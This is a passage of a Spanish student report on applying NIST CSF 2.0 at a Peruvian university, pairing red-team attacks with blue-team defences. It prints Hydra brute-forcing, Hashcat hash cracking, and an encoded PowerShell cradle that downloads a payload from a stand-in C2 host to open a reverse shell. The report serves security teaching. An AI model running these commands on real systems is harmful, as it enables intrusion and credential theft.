UNIVERSIDAD NACIONAL DEL ALTIPLANO

FACULTAD DE INGENIERÍA MECÁNICA ELÉCTRICA Y DE SISTEMAS



Cybersecurity Framework 2.0 en la UNAP

Análisis de Procesos de Ataque y Defensa

PRESENTADO POR:
QUISPE CHATA CARLOS DAVID

DOCENTE:
TICONA YANQUI FIDEL ERNESTO

SEMESTRE: IX

PUNO – 2026

ÍNDICE GENERAL

El Ciclo de Ciberseguridad (CSF 2.0) 1

1 Introducción a la Ciberseguridad en la UNAP 3

2 Gobernanza (Govern) 4

2.1 Fundamento y Categorías NIST CSF 2.0 . . . 4
2.2 Metodologías y Mecanismos de Defensa . . . 4
2.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team)) . . . 4
2.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team)) . . . 5
2.5 Buenas Prácticas y KPIs para la UNAP . . . 6

3 Identificación (Identify) 7

3.1 Fundamento y Categorías NIST CSF 2.0 . . . 7
3.2 Metodologías y Mecanismos de Defensa . . . 7
3.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team)) . . . 8
3.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team)) . . . 8
3.5 Buenas Prácticas y KPIs para la UNAP . . . 9

4 Protección (Protect) 10

4.1 Fundamento y Categorías NIST CSF 2.0 . . . 10
4.2 Metodologías y Mecanismos de Defensa . . . 10
4.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team)) . . . 11
4.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team)) . . . 11
4.5 Buenas Prácticas y KPIs para la UNAP . . . 12

5 Detección (Detect) 13

5.1 Fundamento y Categorías NIST CSF 2.0 . . . 13
5.2 Metodologías y Mecanismos de Defensa . . . 13
5.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team)) . . . 14
5.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team)) . . . 14
5.5 Buenas Prácticas y KPIs para la UNAP . . . 15

6 Respuesta (Respond) 16

6.1 Fundamento y Categorías NIST CSF 2.0 . . . 16
6.2 Metodologías y Mecanismos de Defensa . . . 16
6.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team)) . . . 16

6.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team)) 17
6.5 Buenas Prácticas y KPIs para la UNAP 17

7 Recuperación (Recover) 19

7.1 Fundamento y Categorías NIST CSF 2.0 19
7.2 Metodologías y Mecanismos de Defensa 19
7.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team)) 19
7.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team)) 20
7.5 Buenas Prácticas y KPIs para la UNAP 20

8 Matriz de Integración y Madurez 22

9 Conclusiones y Recomendaciones 23

9.1 Conclusión del Análisis 23
9.2 Recomendaciones Finales para la OTI-UNAP 23

Bibliografía 24

El Ciclo de Ciberseguridad (CSF 2.0)

Este informe desarrolla la implementación técnica, normativa y operativa del NIST Cybersecurity Framework (CSF) 2.0 en la Universidad Nacional del Altiplano, integrando metodologías defensivas y tácticas ofensivas.

1

Introducción a la Ciberseguridad en la UNAP

La Universidad Nacional del Altiplano (UNAP) de Puno representa uno de los centros académicos y de investigación más críticos de la región sur del Perú. En su operación diaria, gestiona una infraestructura tecnológica compleja que da soporte a miles de estudiantes y docentes, incluyendo el Sistema Integrado de Información Académica, las aulas virtuales, sistemas financieros y redes de laboratorios.

Debido a la gran cantidad de datos sensibles y propiedad intelectual que almacena, la UNAP se convierte en un objetivo de alto valor para cibercriminales. Las amenazas modernas exigen un enfoque estructurado y maduro.

Niveles de Madurez (Implementation Tiers): El NIST CSF 2.0 no es solo una lista de verificación, sino un modelo para medir la madurez organizacional en ciberseguridad a través de cuatro niveles (Tiers):

- **Tier 1: Parcial (Informal).** La seguridad es reactiva y ad hoc.
- **Tier 2: Informado por el Riesgo.** Existe conciencia del riesgo, pero no hay procesos institucionalizados.
- **Tier 3: Repetible.** Procesos formales, actualizados regularmente y aplicados en toda la institución.
- **Tier 4: Adaptativo.** Ciberseguridad ágil e integrada activamente en la estrategia global.

Actualmente, la infraestructura y procesos de la UNAP se sitúan entre los Tiers 1 y 2. El objetivo transversal de la aplicación de este framework es elevar la madurez institucional hacia un **Tier 3 (Repetible)**, estandarizando la defensa y la respuesta.

GOBERNANZA (GOVERN)

Sec 2.1 Fundamento y Categorías NIST CSF 2.0

La **Gobernanza (Govern - GV)** es el pilar estratégico del framework NIST CSF 2.0. Constituye el puente entre los objetivos académicos de la Universidad Nacional del Altiplano (UNAP) y la ejecución técnica de la ciberseguridad. En esta fase, la alta dirección (Rectorado, Vicerrectorados y la Jefatura de la OTI) establece las directrices, el apetito de riesgo y el presupuesto para proteger la infraestructura universitaria, desde los laboratorios de investigación hasta los sistemas financieros. Sin una gobernanza sólida, los esfuerzos técnicos quedan desarticulados y carecen de respaldo legal e institucional.

Las categorías oficiales implementadas para la UNAP son:

- **GV.OC (Contexto Organizacional / Organizational Context):** Asegura que la estrategia cibernética comprenda el contexto de la UNAP, incluyendo el cumplimiento estricto de la Ley N° 29733 (Protección de Datos Personales) sobre los expedientes de estudiantes en el SIA.
- **GV.RM (Estrategia de Gestión de Riesgos / Risk Management Strategy):** Define formalmente la tolerancia al riesgo de la universidad. Determina, por ejemplo, que la caída del campus virtual Moodle por 2 horas es un riesgo .ªceptable", pero la alteración de notas en la base de datos es un riesgo ïnaceptable".
- **GV.SC (Gestión de Riesgos de la Cadena de Suministro / Cybersecurity Supply Chain Risk Management):** Exige la auditoría de terceros. Controla los riesgos introducidos por proveedores de software (ej. el proveedor del ERP financiero) o hardware externo adquirido para las facultades.

Sec 2.2 Metodologías y Mecanismos de Defensa

Para estructurar la Gobernanza, la UNAP debe adoptar marcos de gestión formales:

1. ISO/IEC 27005 (Gestión de Riesgos de la Seguridad de la Información): Proporciona directrices para el proceso de apreciación del riesgo. La OTI debe catalogar todos los activos académicos (SIA, repositorios de tesis), evaluar sus vulnerabilidades y calcular el impacto cualitativo y cuantitativo (probabilidad $\times$ impacto) ante amenazas naturales o cibernéticas.

2. Marco de Control COBIT 2019 (Control Objectives for Information and Related Technologies): Se implementa para alinear las metas de TI con las metas de la UNAP. Utilizando COBIT, se establece un Comité de Seguridad de la Información (CSI) multidisciplinario, asegurando que las decisiones de inversión en firewalls o licenciamiento de software no sean exclusivas del área técnica, sino que cuenten con el aval del vicerrectorado administrativo.

Sec 2.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team))

A nivel directivo y estratégico, los atacantes no explotan código, sino fallas en los procesos, acuerdos y políticas humanas.

- **Vectores MITRE ATT&CK:** Se explota **T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)**, inyectando código malicioso en las actualizaciones de un proveedor de software local que la UNAP no auditó. Simultáneamente, se aprovecha **T1078.003 (Valid Accounts: Local Accounts)**, utilizando las credenciales de un ex-administrador de sistemas cuya cuenta nunca fue dada de baja debido a la falta de políticas de desvinculación laboral.

El Equipo Rojo (Red Team) simula este escenario recolectando cuentas huérfanas expuestas en brechas de terceros (OSINT (Inteligencia de Fuentes Abiertas / Open Source Intelligence)) y verificando su validez contra los servicios expuestos del rectorado.

```
>_ |  Verificación de credenciales huérfanas (T1078) vía OSINT
(Inteligencia de Fuentes Abiertas / Open Source Intelligence)
root@kali-redteam:~# theHarvester -d unap.edu.pe \
                     -b linkedin,hunter
[*] Searching Linkedin...
[*] Searching Hunter...
[+] Found 45 emails and 12 exposed credentials in past breaches.
root@kali-redteam:~# hydra -L exposed_users.txt -p 'Welcome2025' \
                     ssh://192.168.10.5 -s 22
[22][ssh] host: 192.168.10.5   login: jcarlos_exadmin \
          password: Welcome2025
[INFO] 1 valid password found. Insider threat vector active.
```

Sec 2.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team))

El aseguramiento de la Gobernanza requiere herramientas de GRC (Gobernanza, Riesgo y Cumplimiento / Governance, Risk, and Compliance). La UNAP utiliza plataformas como *Eramba* (Open Source) para centralizar las auditorías internas, el registro de riesgos y la validación de cumplimiento de políticas de la Ley de Protección de Datos.

Adicionalmente, para mitigar las cuentas huérfanas, el Equipo Azul (Blue Team) automatiza auditorías de Directorio Activo, buscando cuentas inactivas por más de 90 días para su inhabilitación inmediata.

```
>_ |  Defensa: Auditoría y Desactivación de Cuentas Huérfanas
(PowerShell)
PS C:\> Search-ADAccount -AccountInactive -TimeSpan 90.00:00:00 |
        Where-Object {$_.Enabled -eq $true} | \
        Select-Object Name, LastLogonDate

Name                 LastLogonDate
----                 -------------
jcarlos_exadmin      12/05/2025 10:15:22 AM
mruiz_docente        01/08/2025 08:30:11 AM

PS C:\> Search-ADAccount -AccountInactive -TimeSpan 90.00:00:00 |
        Disable-ADAccount -PassThru
[OK] 2 Inactive accounts successfully disabled. \
Governance policy enforced.
```

Sec 2.5 Buenas Prácticas y KPIs para la UNAP

Para consolidar un gobierno cibernético de nivel Tier 3, se recomiendan las siguientes prácticas operativas:

1. **Política de Offboarding Estricta:** Proceso automatizado donde Recursos Humanos notifica a la OTI el mismo día de la finalización del contrato de un docente o administrativo para revocar inmediatamente sus accesos lógicos y físicos.

2. **Auditoría de Proveedores (Riesgo de Terceros (Third-Party Risk)):** Exigir certificaciones de seguridad (ej. ISO 27001) a cualquier empresa proveedora de software o hardware antes de firmar contratos con la universidad.

3. **Programa de Concientización Obligatorio:** Implementar simulaciones de phishing y capacitaciones anuales obligatorias para todo el personal de la UNAP.

Indicadores Clave de Rendimiento (KPIs):

- **KPI 1: Tasa de Capacitación en Seguridad de la Información (TC_{cap}):** Mide el porcentaje del personal administrativo y docente que ha aprobado los exámenes de concientización. Meta: $> 90\,\%$.

$$TC_{cap} = \left(\frac{\text{Personal con Certificación Interna Aprobada}}{\text{Personal Total Activo de la UNAP}} \right) \times 100 \tag{2.1}$$

- **KPI 2: Índice de Gestión de Riesgo de Proveedores (IG_{rp}):** Evalúa qué porcentaje de los proveedores tecnológicos críticos han pasado por una auditoría de seguridad formal en el último año.

$$IG_{rp} = \left(\frac{\text{Proveedores Críticos Auditados Anualmente}}{\text{Total de Proveedores Tecnológicos Críticos}} \right) \times 100 \tag{2.2}$$

3 IDENTIFICACIÓN (IDENTIFY)

Sec 3.1 Fundamento y Categorías NIST CSF 2.0

La **Identificación (Identify - ID)** es la piedra angular técnica del framework. No se puede proteger lo que no se conoce. En una institución de la magnitud de la UNAP, la topología de red es vasta y cambiante: los docentes conectan sus propios portátiles (BYOD (Trae Tu Propio Dispositivo / Bring Your Own Device)), los laboratorios de ingeniería instalan software especializado, y existen bases de datos heredadas (legacy) conviviendo con servicios modernos en la nube. La función de Identificación garantiza una visibilidad absoluta del entorno.

Se implementan las siguientes categorías del NIST CSF 2.0:

- **ID.AM (Gestión de Activos / Asset Management):** Inventario de activos físicos y lógicos. Exige mantener una base de datos actualizada de todos los servidores de la UNAP, routers core, licencias de software y, críticamente, los flujos de datos (Mapeo de Flujo de Datos (Data Flow Mapping)) desde el estudiante hacia el SIA.

- **ID.RA (Evaluación de Riesgos / Risk Assessment):** Valoración continua de vulnerabilidades. Implica escanear los sistemas descubiertos para identificar fallas de software (CVEs) antes de que sean explotadas.

- **ID.IM (Mejora / Improvement):** Mejora continua mediante la integración de inteligencia de amenazas (Inteligencia de Amenazas (Threat Intelligence)) para identificar nuevos riesgos emergentes aplicables al sector educativo.

Sec 3.2 Metodologías y Mecanismos de Defensa

Para asegurar un mapeo completo y seguro, la OTI debe aplicar metodologías de descubrimiento y análisis de arquitectura:

1. Modelado de Amenazas (STRIDE): Propuesto por Microsoft, STRIDE evalúa la arquitectura de un software desde la etapa de diseño. La OTI aplica STRIDE al portal del SIA evaluando riesgos de *Spoofing* (suplantación de identidad), *Tampering* (manipulación de notas), *Repudiation* (fraude sin rastro), *Information Disclosure* (fuga de datos estudiantiles), *Denial of Service* (caídas en matrícula) y *Elevation of Privilege* (escalada a administrador).

2. Ciclo de Vida ITIL para la Gestión de Activos (ITAM): Adoptando las mejores prácticas de ITIL v4, la universidad no solo registra una laptop cuando se compra, sino que gestiona su estado (Asignado, En Reparación, Decomisado), asegurando que los discos duros que contienen exámenes o información confidencial sean destruidos criptográficamente (Wipe) antes de ser dados de baja.

Sec 3.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team))

Durante la fase de reconocimiento, los cibercriminales intentan construir el mismo inventario que el equipo de seguridad, pero con el objetivo de encontrar la "puerta trasera"más débil.

- **Vectores MITRE ATT&CK:** Se ejecuta **T1595.001 (Active Scanning: Scanning IP Blocks)** para barrer los rangos de direcciones IP públicas asignadas a la UNAP. Se complementa con **T1592 (Gather Victim Host Information)**, donde el atacante inspecciona banners HTTP, versiones de SSH expuestas y bases de datos mal configuradas en los laboratorios de investigación.

El Equipo Rojo (Red Team) utiliza *Nmap* con scripts de enumeración agresiva (`-script vuln`) para descubrir de manera automatizada activos no documentados o "Shadow IT"(servidores instalados por alumnos sin permiso de la OTI).

```
>_ |  Descubrimiento y Escaneo de Vulnerabilidades (T1595) con Nmap
root@kali-redteam:~# nmap -sV --script vuln 192.168.20.0/24 \
                     -p 22,80,443,3306
Starting Nmap 7.93 ( https://nmap.org ) at 2026-09-13
Nmap scan report for lab-ciencias.unap.edu.pe (192.168.20.15)
Host is up (0.0031s latency).
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| vulners:
|   cpe:/a:apache:http_server:2.4.41:
|     CVE-2021-44790    9.8 \
|       https://vulners.com/cve/CVE-2021-44790
3306/tcp open  mysql   MySQL 5.7.35
|_mysql-empty-password: Root account has empty password \
  (VULNERABLE)
```

Sec 3.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team))

El Equipo Azul (Blue Team) de la UNAP contrarresta el escaneo ciego mediante un inventario dinámico. Utilizan *Snipe-IT* como base de datos de gestión de configuración (CMDB) para activos físicos, integrándolo con escáneres de red.

Para cubrir la categoría ID.RA (Evaluación de Riesgos / Risk Assessment), la universidad ejecuta escaneos periódicos autenticados con *Tenable Nessus* u *OpenVAS*. Esto permite a los defensores adelantarse al atacante, descubriendo y parcheando las vulnerabilidades (como el MySQL sin clave mostrado por el Equipo Rojo (Red Team)) antes de que sean explotadas.

```
>_ |  Defensa: Ejecución de escaneo de vulnerabilidades con OpenVAS CLI
root@sec-scanner:~# gvm-cli socket --xml "<create_task>
    <name>Auditoria Mensual UNAP - VLAN 20</name>
    <target id='78b3-4f2a-b7cc-89de'/>
    <scanner id='08b69003-5ce2-4037-a18d-2779'/>
</create_task>"
```

```
[OK] Task created successfully. ID: 12ab-34cd-56ef.
root@sec-scanner:~# gvm-cli socket \
          --xml \"<start_task task_id='12ab-34cd'/>\"
[INFO] Scan started. Target: 192.168.20.0/24. Engine: OpenVAS.
```

Sec 3.5 Buenas Prácticas y KPIs para la UNAP

Para madurar la función de Identificación hacia el nivel Tier 3 (Repetible), la OTI debe instituir:

1. **Descubrimiento Automático de Activos:** Implementar sondas de red (sensores SPAN/Mirror) que detecten inmediatamente cuando un nuevo dispositivo se conecta a la red de la UNAP, evitando depender de hojas de Excel desactualizadas.
2. **Gestión de Parches Basada en Riesgo:** No todos los parches son urgentes. Priorizar la corrección de vulnerabilidades según su criticidad (CVSS $> 8{,}0$) y su exposición a internet, parchando primero los servidores web y luego las bases de datos internas.
3. **Clasificación de la Información:** Etiquetar los repositorios de datos en tres niveles: Público (Portal web), Uso Interno (Memos administrativos) y Confidencial (Planillas, Historiales académicos).

Indicadores Clave de Rendimiento (KPIs):

- **KPI 1: Cobertura de Inventario de Activos (CI_a):** Mide qué proporción del hardware operando en la red está formalmente registrado y auditado en la CMDB. Meta: $> 98\,\%$.

$$CI_a = \left(\frac{\text{Activos Detectados en Red que existen en la CMDB}}{\text{Total de Activos Detectados en la Red}} \right) \times 100 \tag{3.1}$$

- **KPI 2: Tasa de Remediación de Vulnerabilidades Críticas (TR_{vc}):** Evalúa la agilidad del equipo de infraestructura para aplicar parches de seguridad críticos dentro de un SLA establecido (ej. 15 días).

$$TR_{vc} = \left(\frac{\text{Vulnerabilidades Críticas Parcheadas en } < 15 \text{ días}}{\text{Total de Vulnerabilidades Críticas Descubiertas}} \right) \times 100 \tag{3.2}$$

4 Protección (Protect)

Sec 4.1 Fundamento y Categorías NIST CSF 2.0

La función de **Protección (Protect - PR)** constituye el núcleo preventivo del marco de ciberseguridad. Su propósito no es simplemente desplegar herramientas, sino establecer un conjunto cohesionado de controles, políticas y salvaguardas tecnológicas orientadas a garantizar la confidencialidad, integridad y disponibilidad (Tríada CIA) de los sistemas críticos. En el entorno de la Universidad Nacional del Altiplano (UNAP), donde la infraestructura debe equilibrar la apertura académica con la extrema seguridad de datos sensibles, esta etapa debe proteger desde los servidores del rectorado y las bases de datos de tesorería, hasta los portales académicos como el Sistema Integrado de Información Académica (SIA), Moodle institucional y las redes Wi-Fi distribuidas en las diversas facultades.

Para dotar de rigor normativo a la estrategia, se adoptan las siguientes categorías oficiales del NIST CSF 2.0:

- **PR.AA (Gestión de Identidades, Autenticación y Control de Acceso / Identity Management, Authentication, and Access Control):** Garantiza que las identidades y credenciales de estudiantes, docentes y personal administrativo sean gestionadas de forma centralizada (ej. mediante Microsoft Active Directory o FreeIPA), aplicando autenticación fuerte para el acceso a plataformas como el SIA o repositorios de investigación confidenciales.
- **PR.DS (Seguridad de Datos / Data Security):** Abarca los controles criptográficos implementados para proteger la información en reposo y en tránsito. En la UNAP, esto exige el cifrado AES-256 de las bases de datos de matrículas y tesorería, y el uso estricto de TLS 1.3 en todas las comunicaciones web intra y extranet.
- **PR.PS (Seguridad de la Plataforma / Platform Security):** Se enfoca en el "hardening"(endurecimiento o aseguramiento) de la infraestructura, lo que implica parchear vulnerabilidades y deshabilitar servicios innecesarios en los servidores físicos y máquinas virtuales que dan soporte a las aulas virtuales.

Sec 4.2 Metodologías y Mecanismos de Defensa

Para aplicar la función de Protección de manera institucional, la Oficina de Tecnologías de la Información (OTI) de la UNAP debe regirse por dos metodologías fundamentales:

1. Defensa en Profundidad (Defense-in-Depth - DiD): Esta metodología militar aplicada a sistemas asume que cualquier control individual puede ser superado. En la UNAP, la implementación práctica de DiD requiere capas secuenciales:

- *Capa Perimetral:* Firewalls de Próxima Generación / Next-Generation Firewalls (NGFW) limitando el tráfico hacia el centro de datos universitario.
- *Capa de Red:* Segmentación estricta (VLANs), aislando la red Wi-Fi pública de estudiantes (VLAN 100) de la red privada de tesorería y recursos humanos (VLAN 200).

- *Capa de Endpoint y Datos:* Despliegue de soluciones EDR en las computadoras del personal administrativo y cifrado de las tablas relacionales de Moodle.

2. Arquitectura de Confianza Cero / Zero Trust Architecture (ZTA): Rompiendo con el paradigma tradicional de çonfiar en todo lo que está dentro de la red", ZTA (alineado a NIST SP 800-207) exige la validación continua. Bajo esta metodología, el hecho de que un docente esté conectado físicamente a la red Ethernet de su facultad no le otorga acceso inherente a los servidores del rectorado. Cada petición de acceso al SIA es evaluada dinámicamente verificando la identidad, la postura de seguridad del dispositivo y los privilegios otorgados mediante Control de Acceso Basado en Roles / Role-Based Access Control (RBAC).

Sec 4.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team))

Las auditorías ofensivas (Red Teaming) validan la solidez de las salvaguardas de protección intentando vulnerar la gestión de identidades (PR.AA).

- **Vectores MITRE ATT&CK:** El equipo ofensivo ejecuta **T1110.003 (Brute Force: Password Spraying)** para atacar portales web externos como el correo institucional o Moodle, buscando cuentas de docentes que utilicen contraseñas predecibles derivadas del nombre de la universidad o del año en curso. Posteriormente, en caso de compromiso interno, se ejecuta **T1003 (OS Credential Dumping)** para extraer el archivo NTDS.dit del controlador de dominio, exfiltrando todos los hashes criptográficos (NTLM) de la institución.

Para demostrar la técnica, los analistas extraen los hashes y utilizan herramientas de hardware acelerado (GPUs) junto con software como *Hashcat* para romper la criptografía en tiempo récord.

>_ | Ataque de Fuerza Bruta y Craqueo (T1110) con Hashcat

```
root@kali-redteam:~# hashcat -m 1000 -a 0 ntds_hashes.txt \
                     dic_unap.txt -O
hashcat (v6.2.5) starting...
OpenCL API (OpenCL 2.0 pocl 1.8) - Platform #1 [pocl]
====================================================
56b2707cdbe2cf44b6cbf8498f395669:admin1234
f9c9c894236a287ce1dd427e1329c29c:SistemasUNAP2026
8846f7eaee8fb117ad06bdd830b7586c:Puno2026!
Session..........: hashcat
Status...........: Cracked
Speed.#1.........: 1200.5 MH/s (31.42ms)
```

Sec 4.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team))

El equipo defensivo (Equipo Azul (Blue Team)) combate estas tácticas implementando controles técnicos avanzados. La UNAP centraliza la defensa de la identidad mediante el despliegue de políticas de contraseñas robustas aplicadas por *Group Policy Objects (GPO)* y la imposición de Autenticación Multifactor (MFA) provista por soluciones como Cisco Duo o Azure AD (Microsoft Entra ID) para cualquier acceso VPN de docentes desde el exterior.

A nivel de monitoreo activo de protección, se utiliza el agente *Wazuh* desplegado en los servidores Linux y Windows del centro de datos, el cual alerta y bloquea intentos sistemáticos de fuerza bruta en tiempo real mediante su módulo de respuesta activa (Active Response).

```
>_ |  Defensa: Regla de Bloqueo Wazuh frente a Password Spraying
** Alert 1694635812.12456: - pam, syslog, authentication_failed
2026 Sep 13 14:30:12 srv-sia-prod wazuh-agent:
Rule: 5712 (level 10) -> \
'SSHD brute force trying to get access to the system.'
Src IP: 190.234.12.56
User: root
--
Action triggered: \
active-response/bin/firewall-drop.sh add - 190.234.12.56
[INFO] Source IP 190.234.12.56 effectively dropped \
by local iptables.
```

Sec 4.5 Buenas Prácticas y KPIs para la UNAP

Para madurar desde un estado informal (Tier 1) hacia un estado Repetible (Tier 3), la OTI debe adoptar las siguientes prácticas:

1. **Auditoría de Políticas de Contraseñas:** Alinear los requisitos de credenciales de la UNAP con los estándares del NIST SP 800-63B, eliminando las reglas obsoletas de çambio de contraseña cada 90 días.ª favor de exigir claves extensas (*passphrases*) verificadas contra listas de contraseñas comprometidas (HaveIBeenPwned).

2. **Cifrado Total en Reposo:** Garantizar que los volúmenes de almacenamiento (LUNs) que soportan las bases de datos de tesorería y expedientes académicos de la UNAP estén protegidos nativamente por hardware o mediante LUKS/BitLocker.

3. **Segmentación Administrativa:** Establecer un entorno seguro dedicado (*Jump Server* o Bastion Host) exclusivamente para que los administradores de red de la OTI realicen tareas de mantenimiento sobre los servidores, requiriendo MFA y grabando la sesión en video.

Indicadores Clave de Rendimiento (KPIs): Para medir objetivamente el nivel de madurez en Protección, la UNAP deberá reportar semestralmente al comité de gobernanza los siguientes indicadores:

- **KPI 1: Tasa de Cobertura de Autenticación Multifactor (TC_{mfa}):** Mide el avance en el despliegue de autenticación fuerte en la comunidad universitaria. Para ser Tier 3, este valor debe ser $> 95\,\%$.

$$TC_{mfa} = \left(\frac{\text{Usuarios Críticos y Docentes con MFA Activo}}{\text{Total de Usuarios Críticos y Docentes}} \right) \times 100 \tag{4.1}$$

- **KPI 2: Tasa de Cumplimiento de Hardening de Servidores (TC_{hs}):** Evalúa qué porcentaje del centro de datos cumple con las guías de configuración segura (CIS Benchmarks) aplicables a sistemas operativos.

$$TC_{hs} = \left(\frac{\text{Servidores que cumplen } \geq 90\,\% \text{ de reglas CIS}}{\text{Total de Servidores en el Data Center}} \right) \times 100 \tag{4.2}$$

5 DETECCIÓN (DETECT)

Sec 5.1 Fundamento y Categorías NIST CSF 2.0

La función de **Detección (Detect - DE)** parte de una premisa ineludible en la ciberseguridad moderna: la prevención (Protección) eventualmente fallará. La UNAP requiere la capacidad técnica para descubrir de forma temprana anomalías y eventos maliciosos que logren atravesar los firewalls perimetrales. Si un atacante vulnera la red de la biblioteca y comienza a moverse lateralmente hacia los servidores de la facultad de Ingeniería, la velocidad de detección dictará si el evento es un incidente menor o una catástrofe institucional.

Las categorías oficiales integradas son:

- **DE.CM (Monitoreo Continuo / Continuous Monitoring):** Obliga a la universidad a centralizar el registro continuo del tráfico de red, las peticiones DNS y los eventos de sistema (Windows Event Logs / Syslog) de todos los endpoints.

- **DE.AE (Análisis de Eventos Adversos / Adverse Event Analysis):** Involucra el análisis automatizado y humano (triaje) para discriminar entre una alerta benigna (falso positivo) y un ataque real en curso.

- **DE.DP (Procesos de Detección / Detection Processes):** Mantenimiento formal de las reglas de detección, asegurando que las alertas del SIEM se actualicen según las nuevas tácticas de ataque a nivel universitario.

Sec 5.2 Metodologías y Mecanismos de Defensa

Para que la detección no se base puramente en firmas estáticas (antivirus tradicionales), la OTI debe implementar metodologías proactivas:

1. Cacería de Amenazas (Threat Hunting): Proceso iterativo liderado por humanos. Los analistas de seguridad de la UNAP no esperan a que salte una alerta en el panel de control; en su lugar, formulan hipótesis. Por ejemplo: "*Si un atacante comprometió Moodle, podría estar usando túneles DNS para exfiltrar datos*". A partir de esta hipótesis, rastrean los logs manualmente buscando anomalías.

2. Análisis de Comportamiento de Usuarios y Entidades / User and Entity Behavior Analytics (UEBA): Basado en Machine Learning, UEBA perfila el comportamiento base (baseline) de los usuarios. Si un perfil administrativo del SIA que normalmente opera de 8:00 a.m. a 4:00 p.m. desde una IP peruana, de pronto intenta descargar la base de datos completa de alumnos a las 2:00 a.m. desde Europa del Este, el sistema UEBA dispara una alerta de alta severidad por desviación de comportamiento, sin importar si la contraseña ingresada era correcta.

Sec 5.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team))

Un adversario avanzado busca evadir la detección ejecutando cargas útiles (payloads) sin descargar archivos al disco, residiendo únicamente en la memoria (Malware sin archivos (Fileless malware)).

- **Vectores MITRE ATT&CK:** Se ejecuta **T1059.001 (Command and Scripting Interpreter: PowerShell)**. El Equipo Rojo (Red Team) utiliza comandos de PowerShell ofuscados en Base64 para bypass de controles EDR y del Antivirus de Windows Defender.

Para simular este comportamiento evasivo y medir la capacidad de los sensores, se utiliza el framework *Atomic Red Team*.

>_ | Simulación Evasiva con Atomic Red Team (T1059.001)

```
PS C:\> $payload = "IEX (New-Object Net.WebClient).DownloadString('h
        c2-redteam.org/payload.ps1')"
PS C:\> $bytes = [System.Text.Encoding]::\
                 Unicode.GetBytes($payload)
PS C:\> $encoded = [Convert]::ToBase64String($bytes)
PS C:\> powershell.exe -ExecutionPolicy Bypass \
        -WindowStyle Hidden -EncodedCommand $encoded

[+] Payload executed in memory. \
Establishing Reverse Shell to C2...
```

Sec 5.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team))

La detección corporativa en la UNAP descansa sobre un **SIEM (Gestión de Información y Eventos de Seguridad / Security Information and Event Management)**. Soluciones como *Elastic Security* o *Wazuh* correlacionan terabytes de logs provenientes de los FortiGate, los switches core de Cisco y los servidores web en un único panel de cristal (Panel Único de Cristal (Single Pane of Glass)).

Para atrapar la ejecución del ataque de PowerShell codificado, los analistas del Equipo Azul (Blue Team) utilizan el lenguaje de consultas KQL (Kibana Query Language) en Elastic, buscando argumentos de línea de comandos anómalos (Técnica: *Command Line Auditing*).

>_ | Detección: Búsqueda (Cacería de Amenazas (Threat Hunting)) en SIEM (Elastic KQL)

```
> GET /winlogbeat-*/_search
{
  "query": {
    "query_string": {
      \"query\": \"process.name:powershell.exe \
          AND process.command_line:
                (*EncodedCommand* OR *WindowStyle Hidden* \
          OR *-e *)\"
    }
  }
}
```

```
[MATCH: 1 Hit]
Timestamp: 2026-09-13T09:12:45Z
Host: DESKTOP-RECTORADO-01
Command: powershell.exe -ExecutionPolicy Bypass \
         -WindowStyle Hidden -EncodedCo...
Alert: T1059.001 - Suspicious PowerShell Invocation Detected.
```

Sec 5.5 Buenas Prácticas y KPIs para la UNAP

Para alcanzar un nivel de madurez repetible en la función de Detección, se requieren las siguientes prácticas operativas:

1. **Tuning de Reglas (Reducción de Ruido):** Configurar el SIEM para suprimir las alertas falsas generadas por scripts de mantenimiento legítimos de la OTI, evitando así la "fatiga de alertas"(Fatiga de Alertas (Alert Fatigue)) en los analistas.

2. **Despliegue de Honeypots:** Instalar servidores trampa en la red (ej. un falso portal de base de datos SQL) que no tienen ninguna función legítima. Cualquier intento de conexión a este honeypot es, por definición, 100 % un ataque real.

3. **Auditoría Sysmon:** Habilitar Sysinternals Sysmon en todos los sistemas Windows de la administración para capturar los IDs de eventos 1 (Creación de procesos) y 3 (Conexiones de Red).

Indicadores Clave de Rendimiento (KPIs):

- **KPI 1: Tiempo Medio de Detección (MTTD - Mean Time To Detect):** Es la métrica dorada del SOC (Centro de Operaciones de Seguridad / Security Operations Center). Calcula cuánto tiempo sobrevive un atacante en la red antes de ser detectado (Tiempo de Permanencia (Dwell Time)). La meta de Tier 3 es reducirlo a menos de 2 horas.

$$MTTD = \frac{\sum(\text{Hora de Generación de Alerta Real} - \text{Hora de Infección Inicial})}{\text{Número Total de Incidentes Reales}} \tag{5.1}$$

- **KPI 2: Tasa de Falsos Positivos (T_{fp}):** Evalúa la calidad de la ingeniería de detección del SIEM. Un valor alto indica que el equipo pierde tiempo revisando alertas falsas. Meta: $< 15\,\%$.

$$T_{fp} = \left(\frac{\text{Número de Alertas Descartadas por ser Actividad Legítima}}{\text{Total de Alertas Críticas y Altas Generadas}} \right) \times 100 \tag{5.2}$$

6 Respuesta (Respond)

Sec 6.1 Fundamento y Categorías NIST CSF 2.0

